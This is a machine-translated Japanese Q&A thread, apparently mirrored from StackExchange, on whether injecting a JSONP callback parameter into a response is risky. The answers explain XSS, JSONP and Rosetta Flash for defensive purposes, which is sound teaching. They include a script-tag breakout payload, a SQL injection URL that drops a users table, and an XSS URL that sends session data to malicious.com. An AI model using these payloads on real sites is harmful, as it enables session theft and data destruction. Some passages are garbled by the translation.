web-dev-qa-db-ja.com

クエリ文字列値をHTMLに直接挿入すると、セキュリティリスクが発生しますか？

誰かが私のサイトでバグを報告しましたが、私は実際には問題を考慮していません。私のサイトには次のようなURLがあります。

www.site.com/ajax/ads.asp?callback=[text injection]

したがって、ファイルタイプはapplication/jsonであり、それがサイトのセキュリティにどのように影響するかはわかりません。

彼の論点は、誰かがこれを含むページにアクセスした場合、crossdomain.xmlをバイパスできるということでした。

<script src=www.site.com/ajax/ads.asp?callback=[some javascript]></script>

私はこれを検索しましたが、彼の言っていることが真実であるという情報は本当に見つかりませんでした。このバグのすべてのインスタンスを修正するためにスクリプトを実際に実行する必要がある場合は、これがどれほど深刻かを誰かに教えてもらう必要があります。

xssjavascriptajaxcrossdomain
53
Daniel

平文の注入が問題です。次のようなページテンプレートがあるとします。

Hi <name>,

Blah blah blah.

そして、あなたはURLから注入することができます。

攻撃者はwww.example.com/ajax/ads.asp?name=Foo%2C+you+have+the+wrong+version+Flash+plugin%2C+our+company+policy+へのリンクを含む電子メールを作成できます+ that + you + use + version + vul.ne.rabl.e.％0D％0A％0D％0AHi％020Foo（縮小することもできます）が必要です。

これにより、ページは次のようになります。

こんにちはフー、あなたは間違ったバージョンのフラッシュプラグインを持っています、私たちの会社の方針はあなたがバージョンvul.ne.rabl.eを使うことを要求しています。

こんにちはFoo、

何とか何とか何とか。

メッセージはあなたのサイトから来ているように見え、ユーザーはあなたのサイトを信頼しているので、彼らはおそらく「あなた」が与えた指示を信じるでしょう。

57
Lie Ryan

クロスサイトスクリプティングは、Webサーバーの整合性に対する脅威ではありません。むしろ、問題は、攻撃者が任意のJavaScriptを実行するsite.com URLを作成できることです。ユーザーがあなたのサイトを信頼し、それが好きなことをすることを許可する場合、これは主要なセキュリティホールになる可能性があります。

44
Justin

挿入されたテキストが次の場合を想像してください：

"></script><script>alert("hi");"

これは次のようになります。

<script src="http://www.site.com/ajax/ads.asp?callback="></script><script>alert("hi");""></script>

次に、ページで必要なことをすべて実行できる、動作するカスタムスクリプトがあります。

23
jfriend00

彼の論点は、誰かがこれを含むページにアクセスした場合、クロスドメインポリシーをバイパスできるということでした。

<script src=www.site.com/ajax/ads.asp?callback=[some javascript]></script>

はい、そうです。しかし、それはセキュリティホールではないようですが、機能のように見えます。同じ元のポリシーを回避するこの手法は [〜＃〜] jsonp [〜＃〜] と呼ばれます（そして十分に文書化されています）。

ただし、いくつかの問題点があります。

  • 正しいcontent-type JSONP応答の場合はapplication/javascript、実行可能なスクリプトであるため。それはもはやプレーンなJSONではありません。
  • JSONPやそのしくみがわからない場合は、JSONPを使用していることが疑われます。これが深刻なバグであるかどうかは、それを何に使用しているかによって異なります。
  • JSONPはその性質上、悪用される可能性があります。機密データは送信しないでください。公開したい情報のみを送信してください。
    必ず確認してくださいJSONPリソースへのリクエストは、資格情報がないかのように処理してください。
2
Bergi

Rosetta Flash （ CVE-2014-4671 ）と呼ばれるこの正確な攻撃ベクトルを使用する攻撃があります。

Rosetta Flashページで説明されているように、脆弱性は次のとおりです。

  1. Flashでは、SWFファイルはCookieを含むGETおよびPOSTそれをホストするドメインへのリクエストを実行できます。 no crossdomain.xml check。これが、機密性の高いドメインにSWFファイルをアップロードすることをユーザーに許可することが危険である理由です。注意深く作成されたSWFをアップロードすることにより、攻撃者は被害者に副作用のあるリクエストを実行させ、機密データを外部に漏出させることができます。外部の、攻撃者が制御するドメイン。

  2. [〜＃〜] jsonp [〜＃〜]、設計上、攻撃者が最初のバイトを制御することを許可しますリクエストURLでcallbackパラメータを指定して、エンドポイントの出力を変更します。

  3. SWFファイルは、Content-Type forcing <object>タグを使用して、攻撃者が制御するドメインに埋め込むことができます、およびコンテンツが有効なFlashファイルのように見える限り、Flashとして実行されます。

この特定の脆弱性は Flash Playerのアップデート によって緩和されていますが、古いバージョンは依然として脆弱であり、この同じ手法が他のシステムを攻撃するために使用される可能性があります。

この特定の脆弱性から一般化：可能な場合は常に、攻撃者が送信する応答の最初の数バイトを制御できないようにするのが最善です。これは、ブラウザーや他のクライアントがコンテンツタイプやブラウザーを盗聴するために「役立つ」部分だからです。過去に盗聴したコンテンツに基づいてContent-Typeヘッダーを上書きすることが知られています。

2
Daniel Pryden

OPはURLを見て間違った場所に焦点を合わせていると思います。すべてのGETおよびPOSTパラメータは、それらが何に呼び出されているかに関係なく悪用される可能性があります。関連するコードは、使用このパラメータのみです。

たとえば、このパラメーターをSQLクエリに連結すると、SQLインジェクションの脆弱性が発生する可能性があります。

db_query("SELECT code FROM callbacks WHERE id = " + param("callback"))

ユーザーは次の場所にアクセスできます。

www.site.com/ajax/ads.asp?callback=0;DROP+users

次のような場合、XSSの脆弱性があります。

return new Response("Hello " + param("callback"))

ユーザーは次の場所にアクセスできます。

www.site.com/ajax/ads.asp?callback=%3Cscript%3EaddToDom(%27%3Cimg%20src%3D%22http%3A%2F%2Fmalicious.com%2F%3Fdata%3D%27%2BharvestSessionData()%2B%27%22%2F%3E%27)%3C%2Fscript%3E

これらはすべて同じテーマのバリエーションです。すべての言語を文字列として扱い、混在させることができます。他の例としては、シェルインジェクション、evalベースのコードインジェクション、「引用」から抜け出すなどです。

パラメータをどこかに保存すると、これらの同じ脆弱性を延期することもできます。

// Escape the parameter when we use it in our SQL
db_query('INSERT INTO callbacks (:cb)', {'cb': param('callback')})

// But suffer the same problems in a later request
return new Response("Our callbacks include " + db_query("SELECT * FROM callbacks").join(", "))
1
Warbo